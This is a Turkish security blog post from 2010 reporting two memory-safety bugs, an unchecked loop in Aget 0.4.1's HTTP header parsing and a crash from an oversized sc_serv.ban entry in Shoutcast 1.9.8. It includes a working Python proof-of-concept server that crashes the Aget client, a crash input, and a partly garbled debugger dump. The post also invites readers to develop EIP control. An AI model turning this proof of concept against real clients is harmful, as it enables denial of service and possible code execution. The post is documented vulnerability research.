

# Egzersiz...

written by Mert SARICA | 5 January 2010

Pas tutmamak için kaynak kodu inceliyor, fuzzing ile de ufak tefek programları kurcalıyorım ki iki farklı uygulamada iki bug ile karşılaştım. İstismar edilme ihtimallerinin oldukça düşük olduğunu düşünsemde el elden üstündür diyerek sizlerle paylaşıyorum belki aranızdan biri istismar ederek bizleri aydınlatır.

İlk olarak bir çok linux dağıtımında yer alan Enderunix'in Aget v0.4.1 programının kaynak kodlarını inceledim.

aget-0.4.1\Defs.h

...

GETRECVSIZ = 8192,

....

aget-0.4.1\Download.c

...

```
void * http_get(void *arg) {
    struct thread_data *td;
    int sd;
    char *rbuf, *s;

    ...

    if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {
        Log(" recv failed: %s", tid, strerror(errno));
        pthread_exit((void *)1);
    }

    ...

    rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));
```

...

```
s = rbuf;
i = 0;
```

```
while(1) {
```

```
if (*s == '\n' && *(s - 1) == '\r' && *(s - 2) == '\n' && *(s - 3) == '\r') {
    s++;
    i++;
```

```
break;  
}  
s++;  
i++;  
}
```

Yukarıdaki koda dikkat edecek olursak Defs.h dosyasında GETRECVSIZ, 8192 byte olarak tanımlanmış ve calloc fonksiyonu ile 8192 byte büyüklüğünde hafıza tahsis edilmiş ve rbuf'a atanmış ancak kontrolsüz while döngüsü nedeniyle hafıza taşması sorunu ortaya çıkıyor ve sonuç olarak array index out of bound zaafiyeti ile karşılaşıyoruz.

Zaafiyeti teyit etmek içinse daha önce internetten bulduğum (sanırım milw0rm'da bulmuştum) ve client-side güvenlik zaafiyetini istismar etmek için hazırlanmış olan aracı biraz değiştirerek teyit ettim, sonuç segmentation fault.

```
#!/usr/bin/env python  
from BaseHTTPServer import HTTPServer  
from BaseHTTPServer import BaseHTTPRequestHandler  
import sys  
try:  
    import psyco  
    psyco.full()  
except ImportError:  
    pass  
class myRequestHandler(BaseHTTPRequestHandler):  
    try:  
        def do_HEAD(self):  
            # Always Accept GET  
            # self.printCustomHTTPResponse(200)  
            buffer = "HTTP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 GMT\r\nServer:  
Apache/2.2.11 (Debian) DAV/2 SVN/1.5.1 mod_python/3.3.1 Python/2.5.2  
mod_ssl/2.2.11 OpenSSL/0.9.8g mod_transform/0.6.0\r\nLast-Modified: Thu, 02  
Jun 2005 07:53:29 GMT\r\nETag: \"f6cedc-5c800-3f88a8879f040\"\r\nAccept-  
Ranges: bytes\r\nContent-Length: 1\r\nContent-Type: application/x-msdos-  
program\r\n"  
            self.wfile.write(buffer)  
        def do_GET(self):
```

```

# Always Accept GET
self.printCustomHTTPResponse(200)
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
    self.send_response(respcode)
    self.send_header("Server", "myRequestHandler")
    self.send_header("Content-Length", "1")
    buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"*8041
    # self.send_header("Content-type", "application/x-msdos-program")
    self.send_header("Content-type", buffer)
    # self.wfile.write(buffer)
    self.end_headers()

except Exception:
    pass

httpd = HTTPServer(('', 80), myRequestHandler)
try:
    httpd.handle_request()
    httpd.serve_forever()
except KeyboardInterrupt:
    print ("\n\nExiting exploit...\n\n")
    sys.exit()

```

Aget dışında download.com internet sitesinde gezinirken zamanında eğlenmek için kullandığım shoutcast internet radyo programı ile karşılaştım ve göz atmaya karar verdim. Kurulumu gerçekleştirdip biraz incelediğimde admin panelinde IP adresi banlamak ve görüntülemek için kullanılan Ban List bölümünden dikkatimi çekti. Programın banlanan IP adresini ise sc\_serv.ban dosyasına kayıt ettiğini ve her çalıştırıldığında yüklediğini öğrendikten sonra fuzzing için hedef dosyayı inceledim ve test için banladığım IP adresine ait kaydın *1.1.1.1;255;Manual Add* olarak dosya içerisinde yer aldığımı gördüm. File fuzzingi otomatize etmek için bir script hazırlamadan önce manuel olarak gerçekleştirdiğim ilk testte uygulamanın göçüğünü gördüm ve debugger ile incelediğimde EAX registerine istediğim değeri yazabildiğimi gördüm ancak biraz daha inceledikten sonra EIP registerine gidecek azmi ve vakti bulamadım ve egzersiz olarak sizlere bırakabileceğimi düşündüm.

Shoutcast v1.9.8 (windows & linux)  
sc\_serv.ban içerisinde *1.1.1.1;255;AAAAA*(281 tane) satırını eklemeniz EAX registerine yazabilmeniz için yeterli oluyor.

Immunity Debugger - sc\_serv.exe - [CPU - thread 00000244, module ntdll]

File View Debug Plugins ImmLib Options Window Help Jobs

l e m t w h c P k b z r ... s ? Is your team hiring?

```

7C91B21A FF49 10    INC DWORD PTR DS:[ERX+10]
7C91B220 33E8 01    MOV EAX, DWORD PTR SS:[ESP-4]
7C91B223 9945 E8    AND EAX, 1
7C91B226 8006        MOV DWORD PTR SS:[ESP-10], EAX
7C91B227 F7F0 14    TEST BYTE PTR DS:[ESI+14]
7C91B228 F608 F892FE2F 0 JNZ ntdll.7C94397E
7C91B22B 395D E8    CMP DWORD PTR SS:[ESP-10], EBX
7C91B22C 57          PUSH EDI
7C91B22D 53          PUSH ECX
7C91B230 9F85 F8940100    PUSH ntdll.7C93873B
7C91B233 FF75 FC    PUSH DWORD PTR SS:[ESP-4]
7C91B246 E8 032DFFFF CALL ntdll.ZwWaitForSingleObject
7C91B24B 3D 02010000    CMP ERX, 102
7C91B250 0F 84 00000000    JE sc_serv.00415000
7C91B253 3B03 60880200    CMP EAX, EBX
7C91B258 0F8C 60880200    JL ntdll.7C943A6E
7C91B25E 3850 0B    CMP EVT PTR SS:[ESP+8], BL
7C91B261 5F          POP EDI
7C91B264 64 A1 18000000    MOV EAX, DWORD PTR FS:[I8]
7C91B26A 3848 24    MOV EAX, DWORD PTR DS:[ERX+24]
7C91B26D 8946 0C    MOV DWORD PTR DS:[ESI+C], EAX
7C91B270 64A1 18000000    MOV EAX, DWORD PTR FS:[I8]
7C91B276 8998 840F0000    MOV DWORD PTR DS:[ERX+F84], EBX
    
```

Dst[42424252] = ??

Registers (FPU)

ERX	00000000
EDX	00000005
EDX	000205F0
EBX	00000000
ESP	0006ED68
EBP	0006EDDB
ECX	00000000 ASCII "BBBBBBCB"
EDI	00000000
EIP	7C91B21A ntdll.7C91B21A
P	0 ES 0018 32bit 0xFFFFFFFF
P	0 SS 0018 32bit 0xFFFFFFFF
A	0 SS 0023 32bit 0xFFFFFFFF
Z1	DS 0023 32bit 0xFFFFFFFF
S0	FS 0038 32bit 7FDE000(FFF)
S0	GS 0000 NULL
D	0
O	0 LastErr: ERROR_SUCCESS (00000000)
EFL	00000246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0	empty 0
ST1	empty 0
ST2	empty 0
ST3	empty 0
ST4	empty 0
ST5	empty 0
ST6	empty 0
ST7	empty 0

3 2 1 0 F S P I U O Z D I

Address | Hex dump | ASCII |

```

0041A000 00 00 00 00 00 00 00 00 00 00 00 .....:.
0041A008 00 00 00 00 7C 35 41 00 00 .....:SA.
0041A010 00 00 00 00 41 20 20 00 00 .....:R.....
0041A018 00 00 00 00 20 20 41 00 00 .....:SH..
0041A020 00 00 00 00 00 00 00 00 00 .....:...
0041A028 00 00 00 00 00 00 00 00 00 .....:...
0041A030 10 27 00 00 48 54 50 ▶...HTTP
0041A032 00 00 00 00 20 20 48 54 50 /1.1.1.500
0041A040 00 00 00 00 48 54 50 ▶...HTTP
0041A044 00 00 00 00 48 54 50 ▶...HTTP
0041A048 2F 31 2E 30 20 35 30 ▶1.0.500
0041A050 00 00 00 00 48 54 50 .....HTTP
0041A058 2F 31 2E 30 20 34 30 34 /1.1.404
0041A060 00 00 00 00 48 54 50 .....HTTP
0041A062 2F 31 2E 30 20 34 30 34 /1.1.404
0041A068 00 00 00 00 48 54 50 .....HTTP
0041A070 00 00 00 00 48 54 50 .....HTTP
0041A078 2F 31 2E 30 20 34 30 34 /1.0.401
0041A080 00 00 00 00 48 54 50 .....HTTP
0041A088 00 00 00 00 48 54 50 .....HTTP
0041A090 00 00 00 00 48 54 50 .....HTTP
0041A098 2F 31 2E 30 20 32 30 30 /1.0.200
0041A0A0 00 00 00 00 48 54 50 .....HTTP
0041A0A8 2F 31 2E 30 20 32 30 30 /1.1.200
0041A0B0 00 00 00 00 48 54 50 .....HTTP
0041A0B8 00 00 00 00 74 68 62 60 .....HTTP
0041A0C0 68 2D 75 69 64 68 00 k-uid:..
0041A0C8 69 63 79 20 61 75 74 68 icy-auth
0041A0D0 20 64 75 72 64 74 63 6F -duration
0041A0D8 66 69 00 00 66 72 64 6F ntlcyc-
0041A0E0 00 00 00 00 74 68 62 60 .....HTTP
0041A0E8 6E 22 30 00 41 43 46 00 ox:LOCK.
    
```

0006ED68 0006EE54 T:I.

0006ED69	0006EE54 40B sc_serv.00423034
0006ED70	0006EE54 40B sc_serv.00423034
0006ED74	00000056 U...
0006ED78	00000008 0...
0006ED79	00000004 ♦...
0006ED80	00000004 ♦...
0006ED81	00000004 ♦...
0006ED82	00000004 ♦...
0006ED83	0006FF44 A...
0006ED88	7C839AD8 iu:i kernel32.7C839AD8
0006ED94	7C809C48 H <i>C</i> : kernel32.7C809C48
0006ED95	F000FFFF F <i>C</i> : RETURN to kernel32.7C809C48 from kernel32.7C802511
0006ED96	00415057 M <i>P</i> A: RETURN to sc_serv.00415057 from kernel32.ReadFile
0006ED9C	00415057 M <i>P</i> A: RETURN to sc_serv.00415057 from kernel32.ReadFile
0006ED9D	00000084 a...
0006ED9E	00000084 a...
0006ED9F	0007F060 'i: ASCII "1.1.1.1";255;Aa0Ra1a2Ra3a4Ra5Ra6Sa7Ra8Ra9Ra0Ra1Ab2Ab3Ab4Ab5Ab6Ab7
0006ED9A	0006ED03 0 <i>i</i> : RETURN to ntdll.7C92C90CF from ntdll.isdigit
0006ED9B	00000031 0...
0006ED9C	00000031 0...
0006ED9D	0006E70 'i:.
0006ED9E	0006E650 'i:.
0006ED9F	00000000 0...
0006EDC0	00000000 0...
0006EDC4	00000001 0...
0006EDC8	00000001 0...
0006EDC9	00000001 0...
0006EDD0	00000001 0...
0006EDD1	00000001 0...
0006EDD2	00000008 0...
0006EDD3	00000008 0...
0006EDD4	00000004 0 <i>i</i> :
0006EDD6	00000004 0 <i>i</i> :
0006EDD9	7C901046 F <i>M</i> : RETURN to ntdll.7C901046 from ntdll.RtlpWaitForCriticalSection